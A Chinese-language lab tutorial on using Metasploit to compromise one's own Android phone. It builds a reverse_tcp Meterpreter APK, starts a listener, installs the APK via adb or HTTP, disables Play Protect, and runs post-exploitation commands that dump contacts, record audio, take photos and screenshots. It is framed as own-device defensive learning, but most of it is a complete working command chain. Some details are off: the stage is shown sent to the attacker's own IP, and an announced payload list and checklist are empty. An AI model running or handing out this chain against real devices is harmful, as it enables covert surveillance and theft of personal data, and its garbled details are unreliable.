Metasploit Android渗透测试实战：从生成APK到Meterpreter会话建立

1. 项目概述与实验定位

1.1 这个实验到底在做什么

先说人话：msfconsole是Metasploit Framework的交互式终端，Kali Linux里自带的安全测试工具。这个实验的目标是拿自己的Android手机当靶机，在本地局域网里模拟一次完整的“攻击链”流程——生成Android恶意载荷、在攻击机上开启监听、把APK送到手机上运行、最终建立一条Meterpreter会话通道。

听起来好像很“黑客”，但本质上这是一个安全测试学习场景。你用自己的手机、自己的电脑、自己的Wi-Fi，整个过程不涉及任何第三方设备。把它理解成“安全领域的单元测试”更合适：你在验证MSF的Android模块能不能按预期工作，顺便搞清楚移动端漏洞利用背后到底发生了什么。

为什么拿手机当靶机而不是电脑？因为Android平台的攻击面完全不同于传统PC。APK的打包机制、权限声明、进程模型、网络通信方式都有自己的一套逻辑，很多在PC上能用的思路放到手机上完全不灵。用MSF连手机，能直观感受移动端的运行机制——比如为什么一个APK装上去之后要等用户点击才触发、为什么use android/meterpreter/reverse_tcp这个payload在模拟器上经常失灵而在真机上反而稳定。这些都是只读文档学不来的。

1.2 适合谁来玩这个实验

这个实验有两条学习路径，对应两类人群：

第一类是安全方向的初学者。你刚接触Metasploit，在电脑上做过windows/meterpreter/reverse_tcp实验，想换个平台练手。那这篇就是完整的操作地图，照着敲命令就能跑通。

第二类是Android开发或逆向工程师。你可能不关心“入侵”，但想理解恶意APK是怎么做到“装进去之后偷偷执行代码”的。通过分析MSF生成的payload结构、观察APK的目录特征、看Meterpreter在系统里留下什么痕迹，你其实在做一次移动端恶意样本的白盒分析。这个视角对做风险检测、加固方案很有帮助。

需要提前打个预防针：整个过程必须限定在自己的设备上。用MSF连别人手机，不管对方是你同事还是陌生人，在绝大多数地区都是违法行为，没有任何“学习目的”可以做挡箭牌。这篇内容的用途是建立防御认知——你只有亲手跑通过一次，才知道恶意APK装到手机上之后会发生什么，才知道为什么不要乱点来路不明的安装包。

1.3 整体实验链路

实验本身不算复杂，链路大概是这样的：

Android手机（靶机） <---局域网---> Kali Linux（攻击机）

Kali上先启动msfconsole，配置一个multi/handler监听端口；然后用msfvenom生成一个包含Meterpreter的APK；通过adb或HTTP服务把这个APK传到手机并安装；用户在手机上点击APP图标触发payload；Kali这边收到回连，建立Meterpreter会话；接下来就是各种后渗透操作。

这中间有几个关键点，也是后面要重点讲的：

• payload的类型选择：为什么是android/meterpreter/reverse_tcp，而不是bind_tcp或android/shell/reverse_tcp
• 网络配置的坑：为什么LHOST必须填Kali的局域网IP，填127.0.0.1等于白干
• 真机和模拟器的差异：为什么很多教程说模拟器跑不通这个实验
• Meterpreter建立会话之后的常用命令和可能出现的问题

下面按实际操作顺序展开，每一步都会解释“为什么这么做”以及“踩过的坑”。

2. 前置环境准备与工具选型

2.1 攻击机环境要求

攻击机我建议直接用Kali Linux，版本不用特别新，2021年之后的都行。MSF本身是Ruby写的，对系统版本不太挑剔。如果你不想装完整版Kali，用Ubuntu/Debian装一个metasploit-framework包也可以，但新手不推荐——Kali预装的东西多，后面配合adb、apktool、jadx这些工具都现成，省得自己折腾依赖。

MSF的版本要注意看一眼：msfconsole -v查一下版本号。新版本对Android模块的支持更完善，老版本有些payload生成时会报错，或者生成出来的APK在Android 10以上装不上。我一般保持apt update && apt upgrade把MSF升到最新。顺带说一句，Kali的日常升级本来就活泼，只要不怕麻烦随时升。

网络方面，攻击机和手机必须在同一局域网，这个非常关键。比如Kali连的是家里路由器的Wi-Fi，手机也得连同一个Wi-Fi，这样才能走局域网直接互通。如果是公司网络做了AP隔离、访客网络开了终端隔离，你会发现手机回连失败——不是命令敲错了，是网络策略不让你通。实验室环境最简单，把两台设备丢到同一个路由器下面就行。

2.2 靶机手机的准备

手机这边，推荐用一台旧Android手机，版本在Android 7到Android 12之间都能跑通。新版本（Android 13、14）不是不行，但安装非商店来源APK的拦截更严格，对targetSdkVersion的要求也更高，MSF生成的APK默认签名和SDK版本会在部分新系统上提示“检测到风险应用”甚至直接不让装。

手机上要做三件事：

第一，开启开发者选项和USB调试。设置里找到“版本号”，连续点击七次，就能解锁开发者选项。然后把“USB调试”打开。这一步的主要用途是后面用adb传输APK和验证安装。

第二，关闭Google Play Protect的“增强保护”和“扫描应用”。这个很关键，Play Protect会在安装时扫描APK，MSF生成的payload特征非常明显，基本上秒杀。不关的话可能装到一半弹出“有害应用”警告，或者干脆拦截安装。这是安全机制的正常工作，正是因为特征太明显，这个实验才只能在完全受控环境下做。

第三，允许“未知来源应用安装”。Android 8.0以上，安装APK会区分应用来源，要给负责安装的应用（比如浏览器、文件管理器）开权限。如果你用adb install命令安装，系统会绕过未知来源的提示直接安装，但手机上还是会显示一条“出于安全考虑，请谨慎操作”之类的提醒，不用管它。

2.3 为什么不用模拟器

网上很多教程直接把手机换成Android模拟器，比如Genymotion或Android Studio自带的AVD。我实测下来的结论是：能跑通的概率很低，不值得浪费这个时间。

原因有几个。第一，MSF的Android payload是基于ARM架构原生代码的，而大多数模拟器默认跑的是x86/AMD64架构，除非你手动创建ARM镜像——而ARM镜像在PC上运行又慢得像幻灯片。

第二，模拟器里的Android环境通常带一个虚拟的“多用户”或“Google框架”上下文，Meterpreter在建立阶段要读取设备信息、初始化服务，经常卡在Initializing就没了下文。

第三，有些模拟器做了网络栈的特殊处理，reverse_tcp回连的源IP和端口会异常，导致Handlers收不到会话。

所以一句话：想做这个实验，就用真机。没旧手机花一百块收一台都行，比折腾模拟器省心十倍。

2.4 adb工具的准备

adb是Android调试桥，全称Android Debug Bridge，这个工具负责攻击机和手机之间的文件传输、应用安装、shell命令执行。在Kali上安装很简单：

apt install adb

装完之后用USB线连接手机，执行：

adb devices

手机会弹一个“允许USB调试”的对话框，点上“允许”。然后执行：

adb devices -l

能看到类似XXXX device product:xxx model:xxx的输出就说明连接正常。如果你看到unauthorized，说明手机上没点确认；如果看到offline，一般是驱动或线缆问题，换一根数据线试试——注意有些“充电线”只供电不支持数据传输，这是最容易踩的坑。

关于adb版本，新版Kali自带的是1.0.41，对绝大多数手机都兼容。遇到老设备识别异常时，可以考虑切换adb到1.0.31版本或用apt install adb=1.0.31-*装旧版，但这种兼容性问题比较少见，碰到再处理就行。

3. MSF核心概念拆解与配置思路

3.1 Metasploit框架里没说透的关键角色

在敲命令之前，先花几分钟搞懂MSF的几个核心概念。这些概念在官方文档里都有，但讲得比较抽象，我用大白话解释一下。

Exploit（漏洞利用）：利用某个系统或软件的漏洞，在目标机器上执行任意代码的模块。本实验的靶机手机并没有“漏洞”被利用，我们是靠“用户手动安装运行了恶意APK”这种方式进来的。这在攻击模型里叫“社工型载荷投递”，不打漏洞，打的是人的操作习惯。MSF里的exploit/multi/handler模块不是用来打洞的，它是一个“会话处理监听器”，专门负责接收目标主动回连的载荷，这是后面最关键的一个角色。

Payload（载荷）：真正在目标设备上执行的恶意代码。它决定了你能干什么。类似快递里的“货”，exploit只是“敲门”，payload才是“进门之后搬走的东西”。我们选择的android/meterpreter/reverse_tcp，是一个能提供完整Meterpreter功能的Android平台载荷。

Handler（监听器/处理程序）：攻击机上等待载荷回连的服务端。配套的multi/handler模块，会监听指定端口。当手机上的payload启动后，它会主动向攻击机的IP和端口发起连接，一旦连上，handler就为用户分配一个session（会话）。后续所有操作都在这个会话里进行，相当于一条永久的“后门通信隧道”。

做个类比：如果你往朋友家寄了一个能自动跑腿的机器人（载荷），你家里得开个收发室（handler），等机器人回来后，你就有了一个能远程指挥它的窗口（session）。

3.2 payload选型：为什么是android/meterpreter/reverse_tcp

MSF针对Android平台的payload有几种，每种功能差异很大：

所以为什么选reverse_tcp而不是bind_tcp？

bind_tcp是让手机开一个端口等你连，这要求手机的入站连接不被拦截。但在真实场景里，手机在NAT后面、在运营商网关后面，入站连接基本不可能直达；就算在同一个局域网，手机上装个防火墙也可能拦掉入站。而reverse_tcp是让手机主动向外发起连接——出站连接通常是允许的。这个逻辑跟许多内网渗透场景是一样的：出站方向比入站方向更容易被放行。所以本实验也一样，选reverse_tcp，手机回连到Kali，建立通道最省事。

为什么用meterpreter而不是shell？

shell只有简单的命令执行能力，而且和Meterpreter相比，它的会话体验差很多——没有文件上传下载、没有截图、没有录音、没有进程管理。做实验当然要体验功能完整的meterpreter，后面截图、录音、拉通讯录这些操作都是它提供的。

关于android/meterpreter_reverse_tcp和android/meterpreter/reverse_tcp的细节区别：

有些资料喜欢纠结这个，实际测试中两者的主要差异是“体积”和“独立性”。meterpreter_reverse_tcp是静态编译的独立二进制，不依赖MSF框架注入，启动更快，但功能也精简了，比如没有webcam_snap这类模块集成。而android/meterpreter/reverse_tcp是标准metsvc方式，通过stage动态加载完整Meterpreter，模块功能更全。做学习实验推荐用标准的android/meterpreter/reverse_tcp，感受最完整的功能栈。

3.3 参数配置的底层逻辑

在配置handler时，有两个参数不能写错，否则哪怕燃料齐备也一个回连都收不到。

LHOST：监听IP，也就是Kali的局域网地址。

这个IP必须填Kali在局域网里真实拿到的IP，不能填127.0.0.1。原因很简单：payload回连的目标地址就是LHOST，如果填回环地址，手机上的payload把数据发到它自己的本机，肯定连不上攻击机。确定IP的方法：

ip addr show eth0

或者用hostname -I查看所有网卡IP。常见情况是Kali用Wi-Fi上网，IP在192.168.x.x段。如果是Wi-Fi网卡，地址在wlan0接口下面。看到类似192.168.1.100/24这样的，192.168.1.100就填到LHOST里。

LPORT：监听端口。

这个相对随意，但建议避开常用端口，如8080、80、443容易被安全设备或路由策略干扰；也更建议避开整百端口。我喜欢用4444附近的端口，比如4444是MSF的默认，但有时会和别的服务冲突，所以用4455、6666也可以。只要端口没有被防火墙拦截，随便都用。要是看到[*] Handler failed to bind to port报错，说明端口被占了，换个端口即可。

关键点是：payload生成时的LHOST/LPORT和handler配置时的LHOST/LPORT必须完全一致，少一位都不行。很多新手栽在这里，payload配的IP和handler配的IP对不上，结果手机那边发了一包出去，Kali这边根本没监听同一端口。

3.4 关于msfvenom生成APK的一个细节

MSF生成Android payload的常见命令是：

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o evil.apk

一般还会加R参数表示生成原始字节，但-o输出也会直接生成最终APK，所以可以不写R。Windows下加-e x86/shikata_ga_nai是常见操作，但Android payload通常不做这类编码规避，毕竟opeation system不同。

生成的APK默认是一个带debug签名的apk，签名用的key是androiddebugkey。这会导致一个现象：系统在安装时可能提示“该应用使用调试签名”，部分系统会拒绝安装。解决办法是把payload塞进一个正常APK里重新打包签名，这叫“捆绑投递”。真实的恶意APK基本都会这么做——先找一个正常的应用，把payload和原始代码合并，再用自己的证书签名。本实验想简化流程，直接用原版签名的APK就行，只要手机上开了允许未知来源，基本都能装上。如果遇到装不上的情况，后面会专门讲怎么处理。

4. 完整实操过程记录

4.1 第一步：生成Android载荷APK

环境确认没问题后，先新建一个工作目录，避免把生成的实验文件混在用户目录里。

mkdir ~/msf-labs && cd ~/msf-labs

然后换一张Kali的局域网IP。以我的环境为例，Kali的IP是192.168.1.100，手机是同一网段。生成payload：

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o evil.apk

生成过程会输出类似：

[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [*] No encoder selected, using raw encoding for the payload [*] Writing apk file: evil.apk

看到Writing apk file就说明成功了。evil.apk的体积一般在40KB～80KB之间，取决于MSF版本。文件很小，因为主体其实是一个极简的Dalvik可执行文件加Meterpreter的stage加载器。

如果生成时报错[*] XXX was not generated或者[-] Error: cannot find the specified payload，先检查payload名称是否拼写正确，再查一下MSF的Android支持是否完整。用msfvenom -l payload | grep android看一下可用的Android payload列表，确认android/meterpreter/reverse_tcp在列表里。

还有一个细节：生成的APK里包含了远程连接的IP和端口，这意味着这个APK只对这个IP和端口有效。如果你想换一台攻击机，或者端口变了，必须重新生成。这就是为什么我建议把LHOST和LPORT先确定好再生成。

4.2 第二步：启动MSF监听器

打开一个新的终端窗口，启动msfconsole：

msfconsole

MSF启动时会加载数据库和模块列表，第一次启动会比较慢，耐心等它输出完。

启动后，配置handler：

use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit -j

解释一下这几条命令都做了什么：

• use exploit/multi/handler：加载“多平台处理器”模块，它是一个纯粹的监听器。这里的exploit只是MSF框架的叫法，实际上并没有在利用任何漏洞。
• set payload android/meterpreter/reverse_tcp：告诉监听器，预期接收的是Android平台的反向TCP Meterpreter载荷。这一步必须和生成APK时的payload类型一致，否则即使端口通了也匹配不上。
• set LHOST 192.168.1.100：监听IP，填Kali自己的IP。
• set LPORT 4444：监听端口，跟生成APK时一致。
• exploit -j：-j表示后台化运行，即把handler放到后台监听。这样终端还能继续输入其他命令，免得被监听绑定住。

命令执行后，会看到类似输出：

[*] Started reverse TCP handler on 192.168.1.100:4444 [*] Sending stage (58028 bytes) to 192.168.1.100

这代表监听已启动。但注意，这里的Sending stage真正触发是在手机连上的时候才出现，如果没有手机连接，它只会显示第一行“Started reverse TCP handler”，代表监听正常。

如果你没有用-j，也可以直接exploit前台监听，效果一样，但终端会被占用，所以我都习惯加-j。

4.3 第三步：把APK传给手机

这一步有几种方式。

方式一：adb直接安装（推荐）

adb install evil.apk

这个命令很直接，手机会在后台自动安装，屏幕上看不到安装向导。安装成功会输出Success。如果手机没连接或者弹了“允许USB调试”的框没点确认，会报error: device offline或unauthorized。装好之后手机应用列表里会多一个应用，名字默认是MainActivity或android开头的图标，图标风格看MSF版本，有的就是一个Android机器人图标。

方式二：HTTP服务+浏览器下载

如果你不想用USB线，可以在攻击机上临时开一个HTTP服务：

python3 -m http.server 8080

然后在手机浏览器访问http://192.168.1.100:8080/evil.apk下载。这种方式模拟的是真实场景里“受害者通过链接下载并安装APK”的路径，更接近实战链路。但手机会拦截“从浏览器安装未知应用”，需要在系统设置里给浏览器开“安装未知应用”权限。

方式三：蓝牙/网盘/微信发送。这些方式也能把APK传到手机，但微信会拦截APK文件的传输，其他App也会做安全扫描，反而不如前两种干净。

4.4 第四步：点击运行，触发payload

安装完成之后，关键的一步来了：必须在手机上点击这个应用的图标，才会触发payload。

为什么必须点击？因为MSF的Android payload默认是打包成一个Android Activity。安装APK只完成了“文件落盘”，Application的入口没有启动。只有用户点击图标，系统才会启动这个Activity的onCreate方法，payload代码才被执行。这跟Windows下的可执行文件双击运行是同一个道理。

点击之后，你会看到：

[*] Sending stage (58028 bytes) to 192.168.1.100 [*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.105:54132) at ...

这个输出就是最爽的时刻。它意味着：

• 手机上的payload执行后主动向攻击机的192.168.1.100:4444发起了TCP连接。
• 192.168.1.100:4444是Kali的监听端，192.168.1.105:54132是手机拿到的局域网IP和随机源端口。
• MSF收到了这个连接，把完整的Meterpreter stage推给手机，成功建立了阶段stage 2，会话编号为session 1。

到这里，实验的核心目标已经达成：你用自己的手机模拟了被连接的整个流程，并且拿到了一条活的Meterpreter会话。

4.5 第五步：Meterpreter会话的基本操作

会话建立后，MSF会自动进入Meterpreter会话交互模式，提示符变为meterpreter >。

先输入help查看所有可用的命令。help本身就是一个重要的学习工具，你在任何不确定的时候都可以敲一下。下面这些命令是必试的：

sysinfo

查看手机的完整信息：型号、Android版本、架构、指纹等。输出类似：

[+] Device: SM-G950F [+] Android version: 8.0 [+] Build fingerprint: samsung/dreamlte/dreamlte:8.0.0/R16NW/G950FXXU1AQG5 [+] Architecture: aarch64

这些信息在真实渗透里是用来判断目标设备类型的。现在你知道为什么做移动端安全测试要了解“处理器天梯图”之类的知识了——不同SoC对应的root工具、漏洞利用链、payload兼容性完全不一样。

dump_contacts

导出通讯录，MSF会尝试从系统数据库里读取联系人列表。这个命令在真机上能跑通，在模拟器上经常失败，因为模拟器的联系人数据库结构不同。输出的CSV文件会保存在攻击机上。这个操作很能说明问题：一个看似简单的APK，只要用户手动点一下，你的通讯录就没了。安卓的权限模型里，“读取联系人”是一个普通权限，用户往往直接点“允许”。

screencap

截取手机屏幕，保存为PNG文件到攻击机。这个命令往往需要屏幕处于亮屏状态。如果手机锁屏了，截图可能是一张锁屏壁纸，甚至黑屏。

record_mic

录音命令，会调用手机的麦克风录制音频。注意：这个功能在一些Android版本上会异常，或者因为系统麦克风权限问题直接报错。试的时候保持安静，录几秒就Ctrl+C中断。

webcam_snap

调用摄像头拍照。这个命令会调用后置摄像头，拍一张照片存到攻击机。MSF的Android模块对这个功能的适配比PC端差，部分机型会卡住，不用强求。

shell

进入Android系统的Linux shell。Android底层是Linux内核，所以你能执行ls、cat、ps这些命令。不过Android的shell环境不像常规Linux那样有bash和coreutils，很多命令不存在或功能受限。但这里有一个很重要的技能点：通过shell查看进程和日志，可以验证payload在系统里的运行痕迹，这对做红蓝对抗的蓝军很有价值。

pwd getuid

pwd查看当前目录，getuid查看当前用户。Android应用默认以u0_a***这样的用户身份运行，不是root。如果你想做提权测试，那需要结合具体漏洞，那是另一个方向的大坑，本实验不涉及。

操作完这些，输入background或Ctrl+Z把会话放到后台，回到MSF终端。用sessions -l能看到当前活动的session列表，用sessions -i 1回到刚才的会话。

4.6 实验后的清理

做完实验，记得清理现场。

手机上直接卸载这个应用即可。在系统设置或长按图标卸载，图标名字可能显示为MainActivity或evil。卸载后，Meterpreter会话会断开，MSF终端会输出会话终止信息。

攻击机这边的文件，evil.apk、截图、通讯录等都在工作目录里，确认不需要后删掉。我习惯把整个msf-labs目录直接删掉，干净利落：

rm -rf ~/msf-labs

还要注意一个细节：如果你是用adb install装的，卸载时最好也用adb uninstall。有的手机上“卸载”入口被隐藏，尤其是当图标还是Android默认机器人图标时，可能不好找。用命令更干脆：

adb uninstall <包名>

包名可以在安装后通过adb shell pm list packages | grep evil查。默认情况下MSF的payload包名类似com.metasploit.stage或com.xxx.evil。

5. 常见问题与排查技巧实录

5.1 手机装了APK但点开就闪退

这是最常见的翻车场景。点图标后应用一闪而过，Kali那边也没有收到任何会话。

原因大概率是架构不匹配。MSF生成的APK默认包含的是arm架构的原生库，如果你的手机是纯armeabi-v7a或新出的arm64-v8a，一般没问题；但如果你是x86架构的平板或者模拟器，肯定跑不了。检查方法：adb shell getprop ro.product.cpu.abi，看输出是什么。如果输出x86或x86_64，基本可以断定是这个原因。

另一个可能原因是Android版本太高，应用启动时被系统限制。Android 14上，MSF生成的targetSdkVersion如果偏低，系统会弹警告或直接不允许启动。解决办法：要么换一台旧版本手机，要么用apktool改一下targetSdkVersion再回编译，不过后者需要额外处理签名，比较麻烦。新手直接换旧手机最简单。

还有一个可能是payload的stage下载失败，这种情况Kali那边能看到部分日志，比如Sending stage后突然断开，但没到建立会话。多半是网络不稳定或防火墙中途拦了，同一局域网里很少出现，真出现就把Wi-Fi换成5GHz，减少干扰。

5.2 手机连续回连不上，handler报错

如果你看到handler一直停在Started reverse TCP handler，没有新输出，说明手机上的payload根本没有成功发起连接。

先自查三件事：

第一，IP对不对。用netstat -ant | grep 4444确认Kali确实在监听。再用ip addr确认LHOST没写错。最简单粗暴的排查法：在手机浏览器里访问http://LHOST:4444，如果能打开（哪怕是一片乱码），说明网络通；打不开说明IP不对或防火墙拦截。

第二，端口有没有被防火墙挡。Kali上可以用iptables -L -n看看INPUT链有没有DROP规则。Metasploit默认会尝试绑定到所有接口，但如果有防火墙默认拒绝入站，那手机发来的SYN包就会被丢弃。实验环境通常没有这个问题，但如果你在公司网络或学校网络，就难说了。

第三，手机上有没有装安全软件。安全软件扫描到payload特征，会在网络层直接放行失败或者杀掉应用的进程。这也是为什么强调要用旧手机、关闭Play Protect的原因。

5.3 adb连不上手机

adb devices看不到设备，先检查几个点：

• 手机“USB调试”有没有打开。
• 手机上弹出的“允许调试”对话框有没有点“允许”——没点的话显示unauthorized。
• 数据线是不是支持数据传输的。这是个老生常谈但永远有效的坑：很多“充电线”是纯粹的电源线，根本没有数据通路。
• USB模式是不是选了“仅充电”。有的手机会默认“仅充电”，此时adb无法通过USB通信。把USB模式切到“文件传输（MTP）”或者“PTP”，通常能解决。

如果你不想用USB线，也可以用Wi-Fi adb连接手机。手机连上同一个Wi-Fi后，在开发者选项里找到“无线调试”，按提示操作。但因为要配对，步骤稍多，能用USB就用USB，省事。

5.4 安装时报“检测到风险应用”或直接安装失败

安装APK时，新版本的Android会做“APK验证”。实测中这个提醒频率最高的就是“检测到风险应用，安装已停止”。

处理办法：

第一，安装前先关闭Play Protect，在Play商店设置里找到“Play Protect”，把“扫描设备是否有有害应用”关掉。

第二，如果用的是HTTP方式下载后从浏览器安装，还需要在系统设置里找到该浏览器的“安装未知应用”权限，设为“允许”。

第三，部分国内定制系统（MIUI、EMUI等）自带的“纯净模式”或“安全守护”也会拦截。在系统设置里找到“应用安全”或“纯净模式”，关掉相关开关。

最保险的方案还是adb install：adb install是系统级安装通道，不走用户界面的未知来源验证，绕过大部分应用级拦截。实测中adb install成功率最高，只要签名没被系统拒绝，基本都能装上。

5.5 回连成功但Meterpreter命令执行失败

有一种情况是session建立了，但执行命令时一堆报错，比如[-] Unknown command: sysinfo，或者dump_contacts直接返回空。

Unknown command说明你的msfconsole里当前payload上下文不对。检查一下sessions -l里的会话类型，如果建立的是android/shell/reverse_tcp会话，自然没有dump_contacts等Meterpreter命令。这是payload选型的问题，重新生成标准payload再来一次。

dump_contacts返回空，通常是权限问题。MSF生成的APK默认在清单文件里声明了READ_CONTACTS权限，但运行时如果用户拒绝了权限请求（Android 6.0以上动态权限），系统日志里会记一条权限拒绝。更好的办法是升级APK里的targetSdkVersion到30以上，这样运行时权限弹窗会在启动时弹出，点“允许”后再执行命令。

还有webcam_snap经常卡死。其实不用太较真，Android平台对摄像头调用的适配确实不好，主要是分辨率协商问题和相机服务竞争。真机测试时，把屏幕解锁、摄像头没有被其他应用占用，成功率会高一些。

5.6 快速自查清单

这套排查流程本身就是学习价值的一部分。安全性测试最关键的技能不是“会敲命令”，而是“能判断链路里哪一环出了问题”。链路分析、日志观察、网络状态检查，这些才是真正通用的能力。

6. 一些补充的实战心得

6.1 用“对比实验”加深理解

如果只是按教程敲一遍命令跑通，收获其实有限。我建议多做两个对照实验：

对照实验一：把LHOST改成127.0.0.1重新生成APK再装到手机上，观察回连失败的过程。你会看到handler完全没有反应，手机上应用闪一下就没动静了。这个失败过程帮助你理解“地址到底是怎么被编码进APK的”。

对照实验二：手机不开Wi-Fi，用蜂窝数据，再点击应用。你会发现回连仍然能建立——只要Kali有公网IP或做了端口映射。这模拟了跨网络连接的场景，也解释了为什么reverse_tcp在实战中比bind_tcp可靠得多。

这类实验不需要额外的东西，就是改一下参数重新生成APK，但对理解网络模型和payload行为帮助非常大。

6.2 如何从“会做”到“懂原理”

跑通一次之后，建议花点时间拆解生成的APK。

用apktool解包：

apktool d evil.apk

查看AndroidManifest.xml里声明了什么权限——INTERNET、READ_CONTACTS、RECORD_AUDIO、CAMERA等，这些就是MSF默认申请的能力。看看smali目录里的代码，找到payload加载入口的类，理解它如何加载原生库、如何发起TCP连接。再查看lib/目录下的.so文件，确认架构。

这个过程堪比一次移动端应急响应的“解剖学训练”。你以后遇到可疑APK样本时，第一时间就会想到用这些工具去快速定位恶意行为特征——积累的敏感度都不是白来的。

6.3 对Android安全的一些思考

这个实验做完之后，你可能会有一个很直观的感受：安全防御是一个非常薄弱的链条。

你点了一个来路不明的APK，五秒内攻击者就能拿到通讯录、录音、摄像头、GPS位置。Android的权限模型虽然一直在收紧，但用户授权风险和第三方应用分发渠道的混乱问题依然存在。这也是为什么所有安全厂商都在做“应用行为检测”、“风险提示”，因为操作系统层的隔离和权限模型只能防一部分人，防不了所有用户习惯上的疏漏。

如果你有兴趣往防御方向走，下一步可以了解：

• APK的静态分析流程（jadx、apktool、androguard配合使用）
• 行为沙箱的检测思路（对可疑APK进行动态行为观察）
• 移动端取证的基本方法（通过日志、文件系统残留、网络连接记录还原攻击过程）

站在红队视角和蓝队视角各看一遍，对移动安全的理解会全面得多。本篇的内容就到这里，该做的实验赶紧去做，毕竟模拟训练和真实环境之间，差的正是无数耐心排查与亲手复现积累起来的经验感。